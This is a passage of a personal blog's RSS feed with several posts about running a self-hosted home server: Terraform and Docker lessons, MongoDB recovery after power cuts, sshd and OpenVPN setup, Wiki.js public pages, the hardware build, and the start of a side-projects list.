Since my server gets a forceful restart every few days due to power-cuts (I’m still working on a backup power supply), I faced some issues with MongoDB being unable to recover cleanly. The lockfile would indicate a ungraceful shutdown, and it would require manual repairs, which sometimes failed.
As a weird-hacky-fix, since most of the errors were from the MongoDB WiredTiger engine itself, I hypothesized that switching to a more robust engine might save me from these manual repairs. I switched to MongoRocks, and while it has stopped the issue with repairs, the wiki stil doesn’t like it, and I’m facing this issue: https://github.com/Requarks/wiki/issues/313
However, I don’t have to repair the DB manually, which is a win.
SSHD on specific Interface
My proxy server has the following

eth0 139.59.22.234


And an associated Anchor IP for static IP usecases via Digital Ocean. (10.47.0.5, doesn’t show up in ifconfig).
I wanted to run the following setup:
eth0:22 -> sshd
Anchor-IP:22 -> simpleproxy -> gitea:ssh
where gitea is the git server hosting git.captnemo.in. This way:
I could SSH to the proxy server over 22
And directly SSH to the Gitea server over 22 using a different IP address.
Unfortunately, sshd doesn’t allow you to listen on a specific interface, and since the eth0 IP is non-static I can’t rely on it.
As a result, I’ve resorted to just using 2 separate ports:
22 -> simpleproxy -> gitea:ssh
222 -> sshd
There are some hacky ways around this by creating a new service that boots SSHD after network connectivity, but I thought this was much more stable.
Wiki.js public pages
I’m using wiki.js setup at https://wiki.bb8.fun. A specific requirement I had was public pages, so that I could give links to people for specific resources that could be browser without a login.
However, I wanted the default to be authenticated, and only certain pages to be public. The config for this was surprisingly simple:
YAML config
You need to ensure that defaultReadAccess is false:

auth:
  defaultReadAccess: false
  local:
    enabled: true


Guest Access
The following configuration is set for the guest user:

Now any pages created under the /public directory are now browseable by anyone.
Here is a sample page: https://wiki.bb8.fun/public/nebula
Docker CA Cert Authentication
I wrote a script that goes with the docker TLS guide to help you setup TLS authentication


OpenVPN default gateway client side configuration
I’m running a OpenVPN configuration on my proxy server. Howver, I don’t always want to use my VPN as the default route, only when I’m in an untrusted network. I still however, want to be able to connect to the VPN and use it to connect to other clients.
The solution is two-fold:
Server Side
Make sure you do not have the following in your OpenVPN server.conf:
push "redirect-gateway def1 bypass-dhcp"
Client Side
I created 2 copies of the VPN configuration files. Both of the them have identical config, except for this one line:
redirect-gateway def1
If I connect to the VPN config using this configuration, all my traffic is forwarded over the VPN. If you’re using Arch Linux, this is as simple as creating 2 config files:
/etc/openvpn/client/one.conf
/etc/openvpn/client/two.conf
And running systemctl start openvpn-client@one. I’ve enabled my non-defaut-route VPN service, so it automatically connects to on boot.
If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:
Part 1, Hardware
Part 2, Terraform/Docker
Part 3, Learnings
Part 4, Migrating from Google (and more)
Part 5, Home Server Networking
Part 6, btrfs RAID device replacement
If you have any comments, reach out to me]]></description>
            <content:encoded><![CDATA[<h2 id="learnings">Learnings</h2>

<p>I forgot to do this on the last blog post, so here is the list:</p>

<ol>
  <li>archlinux has official packages for <a href="https://wiki.archlinux.org/index.php/Microcode">intel-microcode-updates</a>.</li>
  <li>wireguard is almost there. I’m running openvpn for now, waiting for the stable release.</li>
  <li>While <a href="https://traefik.io/"><code class="language-plaintext highlighter-rouge">traefik</code></a> is great, I’m concerned about the security model it has for connecting to Docker (uses the docker unix socket over a docker mounted volume, which gives it root access on the host). Scary stuff.</li>
  <li>Docker Labels are a great signalling mechanism. <em>Update</em>: After seeing multiple bugs with how <code class="language-plaintext highlighter-rouge">traefik</code> uses docker labels, they have limited use-cases but work great in those. Don’t try to over-architect them for all your metadata.</li>
  <li>Terraform still needs a lot of work on their docker provider. A lot of updates destroy containers, which should be applied without needing a destroy.</li>
  <li>I can’t proxy gitea’s SSH authentication easily, since <code class="language-plaintext highlighter-rouge">traefik</code> doesn’t support TCP proxying yet.</li>
  <li>The <code class="language-plaintext highlighter-rouge">docker_volume</code> resource in terraform is useless, since it doesn’t give you any control over the volume location on the host. (This might be a docker limitation.)</li>
  <li>The <code class="language-plaintext highlighter-rouge">upload</code> block inside a <code class="language-plaintext highlighter-rouge">docker_container</code> resource is a great idea. Lets you push configuration straight inside a container. This is how I push configuration straight inside the <code class="language-plaintext highlighter-rouge">traefik</code> container for eg:
    <div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">upload</span> <span class="p">{</span>
  <span class="nx">content</span> <span class="o">=</span> <span class="s2">"${file("</span><span class="nx">$</span><span class="p">{</span><span class="nx">path</span><span class="p">.</span><span class="nx">module</span><span class="p">}</span><span class="o">/</span><span class="nx">conf</span><span class="o">/</span><span class="nx">traefik</span><span class="p">.</span><span class="nx">toml</span><span class="s2">")}"</span>
  <span class="nx">file</span>    <span class="o">=</span> <span class="s2">"/etc/traefik/traefik.toml"</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="advice">Advice</h2>

<p>This section is if you’re venturing into a docker-heavy terraform setup:</p>

<ol>
  <li>Use <code class="language-plaintext highlighter-rouge">traefik</code>. Will save you a lot of pain with proxying requests.</li>
  <li>Repeat the <code class="language-plaintext highlighter-rouge">ports</code> section for every IP you want to listen on. CIDRs don’t work.</li>
  <li>If you want to run the container on boot, you want the following:
    <div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w"> </span><span class="py">restart</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">"unless-stopped"</span>
<span class="w"> </span><span class="py">destroy_grace_seconds</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">10</span>
<span class="w"> </span><span class="py">must_run</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">true</span>
</code></pre></div>    </div>
  </li>
  <li>If you have a single <code class="language-plaintext highlighter-rouge">docker_registry_image</code> resource in your state, you can’t run terraform without internet access.</li>
  <li>Breaking your docker module into <code class="language-plaintext highlighter-rouge">images.tf</code>, <code class="language-plaintext highlighter-rouge">volumes.tf</code>, and <code class="language-plaintext highlighter-rouge">data.tf</code> (for registry_images) works quite well.</li>
  <li>Memory limits on docker containers can be too contrained. Keep an eye on logs to see if anything is getting killed.</li>
  <li>Setup Docker TLS auth <em>first</em>. I tried proxying Docker over apache with basic auth, but it didn’t work out well.</li>
</ol>

<h2 id="mongodb-with-forceful-server-restarts">MongoDB with forceful server restarts</h2>

<p>Since my server gets a forceful restart every few days due to power-cuts (I’m still working on a backup power supply), I faced some issues with MongoDB being unable to recover cleanly. The lockfile would indicate a ungraceful shutdown, and it would require manual repairs, which sometimes failed.</p>

<p>As a weird-hacky-fix, since most of the errors were from the MongoDB WiredTiger engine itself, I hypothesized that switching to a more robust engine might save me from these manual repairs. I switched to MongoRocks, and while it has stopped the issue with repairs, the wiki stil doesn’t like it, and I’m facing this issue: https://github.com/Requarks/wiki/issues/313</p>

<p>However, I don’t have to repair the DB manually, which is a win.</p>

<h2 id="sshd-on-specific-interface">SSHD on specific Interface</h2>

<p>My proxy server has the following</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eth0 139.59.22.234
</code></pre></div></div>

<p>And an associated Anchor IP for static IP usecases via Digital Ocean. (<code class="language-plaintext highlighter-rouge">10.47.0.5</code>, doesn’t show up in <code class="language-plaintext highlighter-rouge">ifconfig</code>).</p>

<p>I wanted to run the following setup:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">eth0:22</code> -&gt; <code class="language-plaintext highlighter-rouge">sshd</code></li>
  <li><code class="language-plaintext highlighter-rouge">Anchor-IP:22</code> -&gt; <code class="language-plaintext highlighter-rouge">simpleproxy</code> -&gt; <code class="language-plaintext highlighter-rouge">gitea:ssh</code></li>
</ul>

<p>where gitea is the git server hosting <code class="language-plaintext highlighter-rouge">git.captnemo.in</code>. This way:</p>

<ul>
  <li>I could SSH to the proxy server over 22</li>
  <li>And directly SSH to the Gitea server over 22 using a different IP address.</li>
</ul>

<p>Unfortunately, <code class="language-plaintext highlighter-rouge">sshd</code> doesn’t allow you to listen on a specific interface, and since the <code class="language-plaintext highlighter-rouge">eth0</code> IP is non-static I can’t rely on it.</p>

<p>As a result, I’ve resorted to just using 2 separate ports:</p>

<p><code class="language-plaintext highlighter-rouge">22</code> -&gt; <code class="language-plaintext highlighter-rouge">simpleproxy</code> -&gt; <code class="language-plaintext highlighter-rouge">gitea:ssh</code>
<code class="language-plaintext highlighter-rouge">222</code> -&gt; <code class="language-plaintext highlighter-rouge">sshd</code></p>

<p>There are some hacky ways around this by creating a new service that boots SSHD after network connectivity, but I thought this was much more stable.</p>

<h2 id="wikijs-public-pages">Wiki.js public pages</h2>

<p>I’m using wiki.js setup at <a href="https://wiki.bb8.fun">https://wiki.bb8.fun</a>. A specific requirement I had was public pages, so that I could give links to people for specific resources that could be browser without a login.</p>

<p>However, I wanted the default to be authenticated, and only certain pages to be public. The config for this was surprisingly simple:</p>

<h3 id="yaml-config">YAML config</h3>

<p>You need to ensure that <code class="language-plaintext highlighter-rouge">defaultReadAccess</code> is false:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">auth</span><span class="pi">:</span>
  <span class="na">defaultReadAccess</span><span class="pi">:</span> <span class="kc">false</span>
  <span class="na">local</span><span class="pi">:</span>
    <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>
</code></pre></div></div>

<h3 id="guest-access">Guest Access</h3>

<p>The following configuration is set for the guest user:</p>

<p><img src="https://captnemo.in/img/wiki.js-guest-access.jpg" alt="" /></p>

<p>Now any pages created under the <code class="language-plaintext highlighter-rouge">/public</code> directory are now browseable by anyone.</p>

<p>Here is a sample page: <a href="https://wiki.bb8.fun/public/nebula">https://wiki.bb8.fun/public/nebula</a></p>

<h2 id="docker-ca-cert-authentication">Docker CA Cert Authentication</h2>

<p>I wrote a script that goes with the docker TLS guide to help you setup TLS authentication</p>



<h2 id="openvpn-default-gateway-client-side-configuration">OpenVPN default gateway client side configuration</h2>

<p>I’m running a OpenVPN configuration on my proxy server. Howver, I don’t always want to use my VPN as the default route, only when I’m in an untrusted network. I still however, want to be able to connect to the VPN and use it to connect to other clients.</p>

<p>The solution is two-fold:</p>

<h3 id="server-side">Server Side</h3>

<p>Make sure you <em>do not</em> have the following in your OpenVPN <code class="language-plaintext highlighter-rouge">server.conf</code>:</p>

<p><code class="language-plaintext highlighter-rouge">push "redirect-gateway def1 bypass-dhcp"</code></p>

<h3 id="client-side">Client Side</h3>

<p>I created 2 copies of the VPN configuration files. Both of the them have identical config, except for this one line:</p>

<p><code class="language-plaintext highlighter-rouge">redirect-gateway def1</code></p>

<p>If I connect to the VPN config using this configuration, all my traffic is forwarded over the VPN. If you’re using Arch Linux, this is as simple as creating 2 config files:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/openvpn/client/one.conf</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/openvpn/client/two.conf</code></li>
</ul>

<p>And running <code class="language-plaintext highlighter-rouge">systemctl start openvpn-client@one</code>. I’ve enabled my non-defaut-route VPN service, so it automatically connects to on boot.</p>

<hr />

<p>If you’re interested in my <a href="https://captnemo.in/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>

<ol>
  <li><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
  <li><a href="https://captnemo.in/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
  <li><a href="https://captnemo.in/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
  <li><a href="https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>

<p>If you have any comments, <a href="https://captnemo.in/contact/">reach out to me</a></p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Running terraform and docker on my home server]]></title>
            <link>https://captnemo.in/blog/2017/11/09/home-server-update/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/11/09/home-server-update/</guid>
            <pubDate>Thu, 09 Nov 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[The last time I’d posted about my Home Server build in September, I’d just gotten it working. Since then, I’ve made a lot of progress. It is now running almost 10 services, up from just Kodi back then. Now it has a working copy of:
Kodi
  I was running kodi-standalone-service, set to run on boot, as per the ArchLinux Wiki, but switched in favor of openbox to a simple autorun.
  Steam
  The current setup uses Steam as the application launcher. This lets me ensure that the Steam Controller works across all applications.
  Openbox
  Instead of running Kodi on xinit, I’m now running openbox with autologin against a non-privileged user.
  PulseAudio
  I tried fighting it, but it was slightly easier to configure compared to dmix. Might move to dmix if I get time.
  btrfs
  I now have the following disks:
    
128GB root volume. (Samsung EVO-850)
1TB volume for data backups
3TB RAID0 configuration across 2 disks.
There are some btrfs subvolumes in the 3TB raid setup, including one specifically for docker volumes. The docker guide recommends running btrfs subvolumes on the block device, which I didn’t like, so I’m running docker volumes in normal mode on a btrfs disk. I don’t have enough writes to care much yet, but might explore this further.
Docker
  This has been an interesting experiment. Kodi is still installed natively, but I’ve been trying to run almost everything else as a docker container. I’ve managed to do the configuration entirely via terraform, which has been a great learning experience. I’ve found terraform much more saner as a configuration system compared to something like ansible, which gets quite crazy. (We have a much more crazy terraform config at work, though).
  Terraform
  I have a private repository on GitLab called nebula which I use as the source of truth for the configuration. It doesn’t hold everything yet, just the following:
    
Docker Configuration (not the docker service, just the container/volumes)
CloudFlare - I’m using bb8.fun as the root domain, which is entirely managed using the CloudFlare terraform provider.
MySQL - Running a MariaDB container, which has been configured by-hand till this PR gets merged.
Gitea
  Running as a docker container, provisioned using terraform. Plan to proxy this using git.captnemo.in.
  Emby
  Docker Container. Nothing special. Plan to set this up as the Kodi backend.
  Couchpotato
  Experimental setup for now. Inside a docker container.
  Flexget
  I wish I knew how to configure this. Also inside docker.
  traefik
  Running as a simple reverse proxy for most of the above services
  elibsrv
  A simple OPDS server, which I use against my Kindle. If you don’t know what OPDS is, you should [check this out][]. Running on a simple apache setup on the archlinux box for now. WIP for dockerization.
  ubooquity
  Simple ebook server. Proxied over the internet. Has a online ebook reader, which is pretty cool.
  MariaDB
  I set this up planning to shift Kodi’s data to this, but now that I have emby setup - I’m not so sure. Still, keeping this running for now.
  Transmission
  Hooked up to couchpotato,flexget, and sickrage so it can do things.
  Sickrage
  Liking this more than flexget so far, much more easier to configure and use.
  AirSonic
  This is the latest fork of libresonic, which was itself forked off subsonic. My attempt at getting off Google Play Music.


Learnings
Moved these to a separate blog post
TODO
A few things off my TODO list:
Create a Docker image for elibsrv that comes with both ebook-convert and kindlegen pre-installed
Do the same for ubooquity as well (Using the linuxserver/ubooquity docker image)
If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:
Part 1, Hardware
Part 2, Terraform/Docker
Part 3, Learnings
Part 4, Migrating from Google (and more)
Part 5, Home Server Networking
Part 6, btrfs RAID device replacement
If you have any comments, reach out to me]]></description>
            <content:encoded><![CDATA[<p>The last time I’d posted about my Home Server build in September, I’d just gotten it working. Since then, I’ve made a lot of progress. It is now running almost 10 services, up from just Kodi back then. Now it has a working copy of:</p>

<dl>
  <dt><a href="https://kodi.tv/">Kodi</a></dt>
  <dd>I was running <code class="language-plaintext highlighter-rouge">kodi-standalone-service</code>, set to run on boot, as per the <a href="https://wiki.archlinux.org/index.php/Kodi#Kodi-standalone-service">ArchLinux Wiki</a>, but switched in favor of openbox to a simple autorun.</dd>
  <dt><a href="http://store.steampowered.com/linux">Steam</a></dt>
  <dd>The current setup uses Steam as the application launcher. This lets me ensure that the Steam Controller works across all applications.</dd>
  <dt><a href="http://openbox.org/wiki/Main_Page">Openbox</a></dt>
  <dd>Instead of running Kodi on xinit, I’m now running openbox with autologin against a non-privileged user.</dd>
  <dt>PulseAudio</dt>
  <dd>I tried fighting it, but it was slightly easier to configure compared to dmix. Might move to dmix if I get time.</dd>
  <dt>btrfs</dt>
  <dd>I now have the following disks:
    <ol>
      <li>128GB root volume. (Samsung EVO-850)</li>
      <li>1TB volume for data backups</li>
      <li>3TB RAID0 configuration across 2 disks.
There are some btrfs subvolumes in the 3TB raid setup, including one specifically for docker volumes. The docker guide recommends running btrfs subvolumes on the block device, which I didn’t like, so I’m running docker volumes in normal mode on a btrfs disk. I don’t have enough writes to care much yet, but might explore this further.</li>
    </ol>
  </dd>
  <dt><a href="https://www.docker.com/">Docker</a></dt>
  <dd>This has been an interesting experiment. Kodi is still installed natively, but I’ve been trying to run almost everything else as a docker container. I’ve managed to do the configuration entirely via terraform, which has been a great learning experience. I’ve found terraform much more saner as a configuration system compared to something like ansible, which gets quite crazy. (We have a much more crazy terraform config at work, though).</dd>
  <dt><a href="https://www.terraform.io/">Terraform</a></dt>
  <dd>I have a private repository on GitLab called <code class="language-plaintext highlighter-rouge">nebula</code> which I use as the source of truth for the configuration. It doesn’t hold everything yet, just the following:
    <ol>
      <li>Docker Configuration (not the docker service, just the container/volumes)</li>
      <li>CloudFlare - I’m using <code class="language-plaintext highlighter-rouge">bb8.fun</code> as the root domain, which is entirely managed using the CloudFlare terraform provider.</li>
      <li>MySQL - Running a MariaDB container, which has been configured by-hand till <a href="https://github.com/hashicorp/go-version/pull/34">this PR gets merged</a>.</li>
    </ol>
  </dd>
  <dt><a href="https://github.com/go-gitea/gitea">Gitea</a></dt>
  <dd>Running as a docker container, provisioned using terraform. Plan to proxy this using <code class="language-plaintext highlighter-rouge">git.captnemo.in</code>.</dd>
  <dt><a href="https://emby.media/">Emby</a></dt>
  <dd>Docker Container. Nothing special. Plan to set this up as the Kodi backend.</dd>
  <dt><a href="https://couchpota.to/">Couchpotato</a></dt>
  <dd>Experimental setup for now. Inside a docker container.</dd>
  <dt><a href="https://flexget.com/">Flexget</a></dt>
  <dd>I wish I knew how to configure this. Also inside docker.</dd>
  <dt><a href="https://traefik.io/">traefik</a></dt>
  <dd>Running as a simple reverse proxy for most of the above services</dd>
  <dt><a href="http://elibsrv.sourceforge.net/">elibsrv</a></dt>
  <dd>A simple OPDS server, which I use against my Kindle. If you don’t know what OPDS is, you should [check this out][]. Running on a simple apache setup on the archlinux box for now. WIP for dockerization.</dd>
  <dt><a href="https://vaemendis.net/ubooquity/">ubooquity</a></dt>
  <dd>Simple ebook server. Proxied over the internet. Has a online ebook reader, which is pretty cool.</dd>
  <dt>MariaDB</dt>
  <dd>I set this up planning to shift Kodi’s data to this, but now that I have emby setup - I’m not so sure. Still, keeping this running for now.</dd>
  <dt><a href="https://transmissionbt.com/">Transmission</a></dt>
  <dd>Hooked up to couchpotato,flexget, and sickrage so it can do things.</dd>
  <dt><a href="https://sickrage.github.io/">Sickrage</a></dt>
  <dd>Liking this more than flexget so far, much more easier to configure and use.</dd>
  <dt><a href="https://airsonic.github.io/">AirSonic</a></dt>
  <dd>This is the latest fork of libresonic, which was itself forked off subsonic. My attempt at getting off Google Play Music.</dd>
</dl>

<h2 id="learnings">Learnings</h2>

<p>Moved these to a separate <a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">blog post</a></p>

<h2 id="todo">TODO</h2>

<p>A few things off my TODO list:</p>

<ol>
  <li>Create a Docker image for elibsrv that comes with both <code class="language-plaintext highlighter-rouge">ebook-convert</code> and <code class="language-plaintext highlighter-rouge">kindlegen</code> pre-installed</li>
  <li><del>Do the same for ubooquity as well</del> (Using the <code class="language-plaintext highlighter-rouge">linuxserver/ubooquity</code> docker image)</li>
</ol>

<hr />

<p>If you’re interested in my <a href="https://captnemo.in/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>

<ol>
  <li><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
  <li><a href="https://captnemo.in/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
  <li><a href="https://captnemo.in/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
  <li><a href="https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>

<p>If you have any comments, <a href="https://captnemo.in/contact/">reach out to me</a></p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Home Server Build]]></title>
            <link>https://captnemo.in/blog/2017/09/17/home-server-build/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/09/17/home-server-build/</guid>
            <pubDate>Sun, 17 Sep 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[I’d been planning to run my own home server for a while, and this culminated in a mini-ITX build recently. The current build configuration is available at /setup/homeserver/.
In no particular order, here were the constraints:
The case should be small (I preferred the Elite 110, but it was unavailable in India).
Dual LAN, if possible (decided against it at the end). The plan was to run the entire home network from this directly by plugging in the ISP into the server.
Recent i3/i5 for amd64 builds.
Enough SATA bays in the cabinet for storage
The plans for the server:
Scheduled backups from other sources (Android/Laptop)
Run Kodi (or perhaps switch to Emby)
Run torrents. Transmission-daemon works. Preferably something pluggable and that works with RSS
Do amd64 builds. See https://github.com/captn3m0/ideas#arch-linux-package-build-system
Host a webserver. This is primarily for serving resources off the internet
    
Host some other minor web-services
A simple wiki
Caldav server
Other personal projects
Sync Server setup. Mainly for the Kindle and the phone.
Calibre-server, koreader sync server for the Kindle
    
Now looking at libreread as well
Tiny k8s cluster for running other webapps
Run a graylog server for sending other system log data (using papertrail now, has a 200MB limit)
No plans to move mail hosting. That will stay at migadu.com for now.
I had a lot of spare HDDs that I was going to re-use for this build:
WD MyBook 3TB (external, shelled).
Seagate Expansion: 1TB
Seagate Expansion 3TB (external, shelled)
Samsung EVO 128GB SSD
The 2x3TB disks are setup with RAID1 over btrsfs. Important data is snapshotted to the other 1TB disk using btrfs snapshots and subvolumes. In total giving me ~4TB of storage.
Software
Currently running kodi-standalone-service on boot. Have to decide on a easy-to-use container orchestration platform. Choices as of now are:
Rancher
Docker Swarm
Shipyard
Terraform
Portainer
Most of these are tuned for multi-host setups, and bring in a lot of complexity as a result. Looking at Portainer, which seems well suited to a single-host setup.
Other services I’m currently running:
elibsrv. Running a patched build with support for ebook-convert
ubooquity for online reading of comics

If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:
Part 1, Hardware
Part 2, Terraform/Docker
Part 3, Learnings
Part 4, Migrating from Google (and more)
Part 5, Home Server Networking
Part 6, btrfs RAID device replacement
If you have any comments, reach out to me]]></description>
            <content:encoded><![CDATA[<p>I’d been planning to run my own home server for a while, and this culminated in a mini-ITX build recently. The current build configuration is available at <a href="https://captnemo.in/setup/homeserver/">/setup/homeserver/</a>.</p>

<p>In no particular order, here were the constraints:</p>

<ul>
  <li>The case should be small (I preferred the Elite 110, but it was unavailable in India).</li>
  <li>Dual LAN, if possible (decided against it at the end). The plan was to run the entire home network from this directly by plugging in the ISP into the server.</li>
  <li>Recent i3/i5 for amd64 builds.</li>
  <li>Enough SATA bays in the cabinet for storage</li>
</ul>

<p>The plans for the server:</p>

<ol>
  <li>Scheduled backups from other sources (Android/Laptop)</li>
  <li>Run Kodi (or perhaps switch to Emby)</li>
  <li>Run torrents. Transmission-daemon works. Preferably something pluggable and that works with RSS</li>
  <li>Do amd64 builds. See https://github.com/captn3m0/ideas#arch-linux-package-build-system</li>
  <li>Host a webserver. This is primarily for serving resources off the internet
    <ul>
      <li>Host some other minor web-services</li>
      <li>A simple wiki</li>
      <li>Caldav server</li>
      <li>Other personal projects</li>
    </ul>
  </li>
  <li>Sync Server setup. Mainly for the Kindle and the phone.</li>
  <li>Calibre-server, koreader sync server for the Kindle
    <ul>
      <li>Now looking at libreread as well</li>
    </ul>
  </li>
  <li>Tiny k8s cluster for running other webapps</li>
  <li>Run a graylog server for sending other system log data (using papertrail now, has a 200MB limit)</li>
</ol>

<p>No plans to move mail hosting. That will stay at migadu.com for now.</p>

<p>I had a lot of spare HDDs that I was going to re-use for this build:</p>

<ol>
  <li>WD MyBook 3TB (external, shelled).</li>
  <li>Seagate Expansion: 1TB</li>
  <li>Seagate Expansion 3TB (external, shelled)</li>
  <li>Samsung EVO 128GB SSD</li>
</ol>

<p>The 2x3TB disks are setup with RAID1 over <code class="language-plaintext highlighter-rouge">btrsfs</code>. Important data is snapshotted to the other 1TB disk using btrfs snapshots and subvolumes. In total giving me ~4TB of storage.</p>

<h2 id="software">Software</h2>

<p>Currently running <code class="language-plaintext highlighter-rouge">kodi-standalone-service</code> on boot. Have to decide on a easy-to-use container orchestration platform. Choices as of now are:</p>

<ol>
  <li>Rancher</li>
  <li>Docker Swarm</li>
  <li>Shipyard</li>
  <li>Terraform</li>
  <li>Portainer</li>
</ol>

<p>Most of these are tuned for multi-host setups, and bring in a lot of complexity as a result. Looking at Portainer, which seems well suited to a single-host setup.</p>

<p>Other services I’m currently running:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">elibsrv</code>. Running a patched build with support for ebook-convert</li>
  <li><code class="language-plaintext highlighter-rouge">ubooquity</code> for online reading of comics</li>
</ol>

<p><img src="https://captnemo.in/img/home-server.jpg" alt="" /></p>

<hr />

<p>If you’re interested in my <a href="https://captnemo.in/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>

<ol>
  <li><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
  <li><a href="https://captnemo.in/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
  <li><a href="https://captnemo.in/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
  <li><a href="https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>

<p>If you have any comments, <a href="https://captnemo.in/contact/">reach out to me</a></p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Project Updates]]></title>
            <link>https://captnemo.in/blog/2017/09/16/project-updates/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/09/16/project-updates/</guid>
            <pubDate>Sat, 16 Sep 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[Over the last couple of years, I’ve been involved with lots of side projects, both online and offline. Some of them, I’ve written about on the blog, like my music visualizer project. A few of them, got their own project page, like the website for my niece (but no blog post) while some didn’t even get a mention. I thought I’d write about the many-many side projects I’ve started (and abandoned). You might also wanna visit the /projects page for the larger projects.
Home Server Build
  Sep 2017 Built a home server, mostly as a HTPC but also as a learning exercise for managing services over Docker.
  Sushi Go
  Summer 2017 This is a work-in-progress conversion of Sushi Go (original), the popular card game by Gamewright into Ruby.
  youtube-ripper
  June 2017 Downloads music-compilations from YouTube and rips them into multiple tagged MP3 files.
  cosmere-books
  September 2017 Wrote a EPUB generator for multiple books in the Cosmere. Currently covers 4 different serializations at Tor.com. Also created a project page on all of my ebooks projects at /ebooks/
  ideas
  Ongoing I maintain a CC0 licensed list of personal ideas. Feel free to use.
  spectrumyzer
  May 2017 Created an animated wallpaper using spectrumyzer. Wrote a blog post about it.
  google-sre
  Feb/Sep 2017 EPUB generator for the Google SRE ebook. Started in February in Python. Gave up and redid it properly in September.
  CodeChef Offline
  March 2012 I attempted to make a offline repository for CodeChef problems. I spent some time in May 2017 upgrading the project with a cleaner scraper and a Jekyll base.
  Hoshruba
  June 2015 I wrote a script that scraped Tor’s serialized publication of the first book in Hoshruba series to generate EPUB and MOBI files. I would recommend the book if you are interested in reading what many would term the “original fantasy book”
  HackerTray
  December 2013 - I wrote a Linux PyGTK application that sits in your taskbar using Indicator Applet to show you the latest stories from Hacker News. Looking for a maintainer.
  MagicMuggle
  May 2017 I wrote a script to convert Magic Muggle (A Harry Potter fanfic about a muggle who accidentally gets into Hogwarts) books from their original reddit posts to EPUB and MOBI files.
  Kerala IT Policy
  March 2017 Attempted to transcribe the draft IT policies put up by the Government of Kerala. Lots of OCR followed by manual fixes. I stopped working on this when I realized that the government had actually put up a really nice website for this (with clear plaintext, not the bad PDF I was using as the source).
  lightsaber
  August 2015 I created a DNS based HTTP-3xx redirect service. Useful if you own a domain and you want it to be redirected, but don’t have a webserver with you. Made as part of the Django Hackathon organized by HackerEarth in Ruby.
  HackerCouch
  November 2015 My hack during hackbeach 2015. Created something best described as “couchsurfing for hackers”. Simple Jekyll/Ruby website hosted on GitHub Pages.]]></description>
            <content:encoded><![CDATA[<p>Over the last couple of years, I’ve been involved with lots of side projects, both online and offline. Some of them, I’ve written about on the blog, like my <a href="https://captnemo.in/blog/2017/05/01/spectrumyzer-visualization/">music visualizer project</a>. A few of them, got their own project page, like <a href="https://captnemo.in/projects/shauryaa/">the website for my niece</a> (but no blog post) while some didn’t even get a mention. I thought I’d write about the many-many side projects I’ve started (and abandoned). You might also wanna visit the <a href="https://captnemo.in/projects/">/projects</a> page for the larger projects.</p>

<dl>
  <dt><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Home Server Build</a></dt>
